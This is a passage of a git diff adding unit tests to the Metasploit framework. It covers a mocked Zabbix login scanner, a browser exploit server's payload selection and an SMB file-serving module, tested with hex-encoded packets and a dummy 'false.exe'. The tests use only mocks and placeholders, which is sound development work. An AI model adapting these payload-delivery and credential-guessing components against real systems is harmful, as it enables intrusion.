req.opts['uri'].include?('index.php') && + req.opts['data'] && + req.opts['data'].include?("name=#{username}") && + req. opts['data'].include?("password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = 'profile.php' + res.headers['Set-Cookie'] = 'zbx_sessionid=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('index.php') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('profile.php') + res = Rex::Proto::Http::Response.new(200) + res.body = 'Zabbix 2.4 Appliance: User profile' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + + expect(http_scanner.attempt_login(cred)).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + end + + end + + end + +end + diff --git a/spec/lib/msf/core/data_store_spec.rb b/spec/lib/msf/core/data_store_spec.rb index e55d3154eeda..eb3d44f674f5 100644 --- a/spec/lib/msf/core/data_store_spec.rb +++ b/spec/lib/msf/core/data_store_spec.rb @@ -24,6 +24,12 @@ subject.to_h.should == { "foo" => "bar", "fizz" => "buzz" } end end + context "#delete" do + it "should delete the specified case-insensitive key" do + subject.delete("foo").should == "bar" + subject.delete("Fizz").should == "buzz" + end + end end describe Msf::DataStore do diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index be46aecc8d98..9401340d25b7 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -4,7 +4,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do subject(:server) do - mod = Msf::Exploit.allocate + mod = Msf::Exploit::Remote.allocate mod.extend described_class mod.send(:initialize, {}) mod @@ -17,6 +17,10 @@ service end + let(:expected_user_agent) do + 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' + end + let(:profile_name) do 'random' end @@ -25,26 +29,22 @@ 'linux' end - let(:expected_user_agent) do - 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' - end - let(:exploit_page) do server.instance_variable_get(:@exploit_receiver_page) end let(:expected_profile) do { - :source=>'script', - :os_name=>'Windows XP', - :ua_name=>'MSIE', - :ua_ver=>'8.0', - :arch=>'x86', - :office=>'null', - :activex=>'true', - :proxy=>false, - :language=>'en-us', - :tried=>true + :source =>'script', + :os_name =>'Windows XP', + :ua_name =>'MSIE', + :ua_ver =>'8.0', + :arch =>'x86', + :office =>'null', + :activex =>'true', + :proxy =>false, + :language =>'en-us', + :tried => true } end @@ -296,6 +296,43 @@ server.on_request_uri(cli, request) end end + + + describe '#get_payload' do + let(:cli) { + Rex::Socket::Tcp + } + + before(:each) do + allow(cli).to receive(:peerhost).and_return('0.0.0.0') + allow(cli).to receive(:peerport).and_return(4444) + end + + let(:encoded) { '@EXE@' } + + let(:x86_payload) { + double(:encoded => encoded, :arch => ['x86']) + } + + let(:x86_64_payload) { + double(:encoded => encoded, :arch => ['x86_64']) + } + + context 'when the payload supports the visitor\'s browser architecture' do + it 'returns a payload' do + allow(server).to receive(:regenerate_payload).and_return(x86_payload) + expect(server.get_payload(cli, expected_profile)).to eq(encoded) + end + end + + context 'when the payload does not support the visitor\'s browser architecture' do + it 'raises a BESException' do + allow(server).to receive(:regenerate_payload).and_return(x86_64_payload) + expect{server.get_payload(cli, expected_profile)}.to raise_error(Msf::Exploit::Remote::BrowserExploitServer::BESException) + end + end + end + end end diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb new file mode 100644 index 000000000000..b59d037cdace --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb @@ -0,0 +1,59 @@ + +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + let(:response_length) { 39 } + let(:valid_response) do + "\x00\x00\x00\x23\xff\x53\x4d\x42" + + "\x04\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x00\x00\x00" + end + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#send_close_res" do + it "returns the number of bytes sent" do + expect(mod.send_close_res(client)).to eq(response_length) + end + + it "sends a valid SMB_COM_CLOSE response to the client" do + mod.send_close_res(client) + client.seek(0) + res = client.read + expect(res).to eq(valid_response) + end + end + +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb new file mode 100644 index 000000000000..af656f230528 --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb @@ -0,0 +1,95 @@ + +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + let(:default_response_length) { 73 } + let(:default_response) do + "\x00\x00\x00\x45\xff\x53\x4d\x42" + + "\x72\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x11\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00" + end + let(:valid_request) do + "\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x43\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" + + "\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f" + + "\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02" + + "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f" + + "\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70" + + "\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30" + + "\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54" + + "\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00" + end + let(:valid_response_length) { 81 } + let(:challenge_length) { 8 } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#send_negotitate_res" do + it "returns the number of bytes sent" do + expect(mod.send_negotitate_res(client)).to eq(default_response_length) + end + + it "sends a valid SMB_COM_NEGOTIATE response to the client" do + mod.send_negotitate_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_response) + end + end + + describe "#smb_cmd_negotiate" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_negotiate(client, valid_request)).to eq(valid_response_length) + end + + it "returns an 8 byte challenge" do + mod.smb_cmd_negotiate(client, valid_request) + client.seek(0) + pkt = Rex::Proto::SMB::Constants::SMB_NEG_RES_NT_PKT.make_struct + pkt.from_s(client.read) + + expect(pkt['Payload'].v['KeyLength']).to eq(challenge_length) + end + end + +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb new file mode 100644 index 000000000000..faba5c8d8080 --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb @@ -0,0 +1,134 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:default_response_length) { 139 } + let(:default_response) do + "\x00\x00\x00\x87\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x22\xff\x00\x00\x00\x03\x00\x00\x01\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\xff\x01\x1f\x00\x00\x00\x00\x00\x00\x00" + end + + let(:valid_request) do + "\x00\x00\x00\x58\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x18\x07\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x0c" + + "\x00\x00\xc0\xfd\x18\xff\x00\xde\xde\x00\x02\x00\x10\x00\x00\x00" + + "\x00\x00\x00\x00\x01\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x90\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x01\x40\x00\x00" + + "\x02\x00\x00\x00\x00\x05\x00\x00\x5c\x00\x00\x00" + end + let(:valid_response) do + "\x00\x00\x00\x87\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x22\xff\x00\x00\x00\x03\xef\xbe\x01\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x10\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x07\x00\x01\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\xff\x01\x1f\x00\x00\x00\x00\x00\x00\x00" + end + + let(:non_existent_path_request) do + "\x00\x00\x00\x68\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x18\x07\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x0c" + + "\x00\x00\x80\x00\x18\xff\x00\xde\xde\x00\x12\x00\x16\x00\x00\x00" + + "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00" + + "\x02\x00\x00\x00\x00\x15\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00" + + "\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" + end + let(:smb_error_response) do + "\x00\x00\x00\x23\xff\x53\x4d\x42\xa2\x34\x00\x00\xc0\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x00\x00\x00" + end + let(:smb_error_length) { 39 } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'false.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#send_nt_create_andx_res" do + it "returns the number of bytes sent" do + expect(mod.send_nt_create_andx_res(client)).to eq(default_response_length) + end + + it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do + mod.send_nt_create_andx_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_response) + end + end + + describe "#smb_cmd_nt_create_andx" do + context "when valid request" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_nt_create_andx(client, valid_request)).to eq(default_response_length) + end + + it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do + mod.smb_cmd_nt_create_andx(client, valid_request) + client.seek(0) + res = client.read + expect(res).to eq(valid_response) + end + end + + context "when non existent path create requests" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_nt_create_andx(client, non_existent_path_request)).to eq(smb_error_length) + end + + it "sends a SMB_STATUS_OBJECT_NAME_NOT_FOUND error response to the client" do + mod.smb_cmd_nt_create_andx(client, non_existent_path_request) + client.seek(0) + res = client.read + expect(res).to eq(smb_error_response) + end + end + end + +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb new file mode 100644 index 000000000000..7d424ffd8924 --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb @@ -0,0 +1,124 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:default_response_length) { 63 } + let(:default_response) do + "\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0c\xff\x00\x00\x00\xff\xff\x00\x00\x00\x00\x00" + + "\x00\x3b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00" + end + + let(:valid_request) do + "\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x18\x07\xe8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" + + "\x00\x00\x00\x01\x0c\xff\x00\xde\xde\xad\xde\x00\x00\x00\x00\x00" + + "\x40\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00" + end + let(:valid_response) do + "\x00\x00\x00\x45\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0c\xff\x00\x00\x00\xff\xff\x00\x00\x00\x00\x00" + + "\x40\x3b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x0a\x00\x6d" + + "\x65\x74\x61\x73\x70\x6c\x6f\x69\x74" + end + let(:valid_response_length) { 73 } + + let(:invalid_offset_request) do + "\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x18\x07\xe8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" + + "\x00\x00\x00\x01\x0c\xff\x00\xde\xde\xad\xde\x00\xd0\x00\x00\x00" + + "\x40\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00" + end + let(:empty_response) do + "\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0c\xff\x00\x00\x00\xff\xff\x00\x00\x00\x00\x00" + + "\x40\x3b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00" + end + let(:empty_response_length) { 63 } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'false.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#send_read_andx_res" do + it "returns the number of bytes sent" do + expect(mod.send_read_andx_res(client)).to eq(default_response_length) + end + + it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do + mod.send_read_andx_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_response) + end + end + + describe "#smb_cmd_read_andx" do + + context "when read request for valid offset" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_read_andx(client, valid_request)).to eq(valid_response_length) + end + + it "sends a valid response with the contents to the client" do + mod.smb_cmd_read_andx(client, valid_request) + client.seek(0) + res = client.read + expect(res).to eq(valid_response) + end + end + + context "when read request for invalid offset" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_read_andx(client, invalid_offset_request)).to eq(empty_response_length) + end + + it "sends an empty read response to the client" do + mod.smb_cmd_read_andx(client, invalid_offset_request) + client.seek(0) + res = client.read + expect(res).to eq(empty_response) + end + end + + end + +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb new file mode 100644 index 000000000000..254c73e82945 --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb @@ -0,0 +1,138 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:default_response_length) { 45 } + let(:default_response) do + "\x00\x00\x00\x29\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x03\xff\x00\x00\x00\x00\x00\x00\x00" + end + + let(:default_tree_connect_response_length) { 62 } + let(:default_tree_connect_response) do + "\x00\x00\x00\x3a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x03\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + end + + let(:valid_request) do + "\x00\x00\x00\xf6\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" + + "\x00\x00\x00\xb4\x0d\x75\x00\x6a\x00\x04\x11\x32\x00\x01\x00\x00" + + "\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\xd4\x00\x00\x00\x2d" + + "\x00\x00\x00\x00\x41\x00\x64\x00\x6d\x00\x69\x00\x6e\x00\x69\x00" + + "\x73\x00\x74\x00\x72\x00\x61\x00\x74\x00\x6f\x00\x72\x00\x00\x00" + + "\x44\x00\x45\x00\x4d\x00\x4f\x00\x00\x00\x00\x00\x00\x00\x04\xff" + + "\x00\xf6\x00\x08\x00\x50\x00\x81\x00\xd5\xd0\x4b\x3f\xa4\xd7\x53" + + "\xa4\x03\x65\xe4\x9c\x00\x68\xfb\xb5\x01\x01\x00\x00\x00\x00\x00" + + "\x00\x6b\xf3\xdc\xf0\xd5\x4f\xd0\x01\x48\x51\x81\xa6\x07\x5b\x97" + + "\xe6\x00\x00\x00\x00\x02\x00\x18\x00\x31\x00\x37\x00\x32\x00\x2e" + + "\x00\x31\x00\x36\x00\x2e\x00\x31\x00\x35\x00\x38\x00\x2e\x00\x31" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\x00\x5c\x00\x31\x00" + + "\x37\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x2e\x00\x31\x00\x35\x00" + + "\x38\x00\x2e\x00\x31\x00\x5c\x00\x4e\x00\x52\x00\x42\x00\x4a\x00" + + "\x55\x00\x00\x00\x3f\x3f\x3f\x3f\x3f\x00" + end + let(:valid_response) do + "\x00\x00\x00\x7e\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x03\x75\x00\x60\x00\x01\x00\x37\x00\x00\x55\x00" + + "\x6e\x00\x69\x00\x78\x00\x00\x00\x53\x00\x61\x00\x6d\x00\x62\x00" + + "\x61\x00\x20\x00\x33\x00\x2e\x00\x34\x00\x2e\x00\x37\x00\x00\x00" + + "\x57\x00\x4f\x00\x52\x00\x4b\x00\x47\x00\x52\x00\x4f\x00\x55\x00" + + "\x50\x00\x00\x00\x07\xff\x00\x00\x00\x01\x00\xa9\x00\x12\x00\x00" + + "\x00\x00\x00\x0d\x00\x41\x3a\x00\x4e\x00\x54\x00\x46\x00\x53\x00" + + "\x00\x00" + end + let(:valid_response_length) { 130 } + + let(:opts) { {} } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'false.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#send_session_setup_andx_res" do + context "when no extra command" do + it "returns the number of bytes sent" do + expect(mod.send_session_setup_andx_res(client)).to eq(default_response_length) + end + + it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do + mod.send_session_setup_andx_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_response) + end + end + + context "when extra SMB_COM_TREE_CONNECT_ANDX command" do + before(:each) do + tree_connect_response = Rex::Proto::SMB::Constants::SMB_TREE_CONN_ANDX_RES_PKT.make_struct + opts[:andx_command] = tree_connect_response + end + + it "returns the number of bytes sent" do + expect(mod.send_session_setup_andx_res(client, opts)).to eq(default_tree_connect_response_length) + end + + it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do + mod.send_session_setup_andx_res(client, opts) + client.seek(0) + res = client.read + expect(res).to eq(default_tree_connect_response) + end + end + end + + describe "#smb_cmd_session_setup_andx" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_session_setup_andx(client, valid_request)).to eq(valid_response_length) + end + + it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do + mod.smb_cmd_session_setup_andx(client, valid_request) + client.seek(0) + res = client.read + expect(res).to eq(valid_response) + end + end + +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb new file mode 100644 index 000000000000..a649c767745a --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb @@ -0,0 +1,76 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:valid_find_file_both_directory_info_params) do + "\x16\x00\x56\x05\x07\x00\x04\x01\x00\x00\x00\x00\x5c\x00\x74\x00" + + "\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" + end + let(:find_file_both_directory_info_res_length) { 179 } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'test.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#smb_cmd_trans2_find_first2" do + + context "when valid SMB_FIND_FILE_BOTH_DIRECTORY_INFO parameters" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2_find_first2(client, valid_find_file_both_directory_info_params)).to eq(find_file_both_directory_info_res_length) + end + + it "send TRANSACTIONS2 response with the file name found in the SMB_Data" do + mod.smb_cmd_trans2_find_first2(client, valid_find_file_both_directory_info_params) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.file_name)) + end + end + end + +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb new file mode 100644 index 000000000000..7b1e9f5a3e70 --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb @@ -0,0 +1,75 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:valid_query_file_standard_info_params) do + "\xad\xde\xed\x03" + end + let(:query_file_standard_info_res_length) { 83 } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'test.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#smb_cmd_trans2_query_file_information" do + + context "when valid SMB_QUERY_FILE_STANDARD_INFO parameters" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2_query_file_information(client, valid_query_file_standard_info_params)).to eq(query_file_standard_info_res_length) + end + + it "send SMB_QUERY_FILE_STANDARD_INFO response with the file size" do + mod.smb_cmd_trans2_query_file_information(client, valid_query_file_standard_info_params) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['EndOfFile']).to eq(mod.file_contents.length) + end + end + end + +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb new file mode 100644 index 000000000000..705b231c5a5e --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb @@ -0,0 +1,128 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:valid_query_path_standard_info_params) do + "\xed\x03\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00" + + "\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" + end + let(:query_path_standard_info_res_length) { 83 } + + let(:valid_query_path_basic_info_params) do + 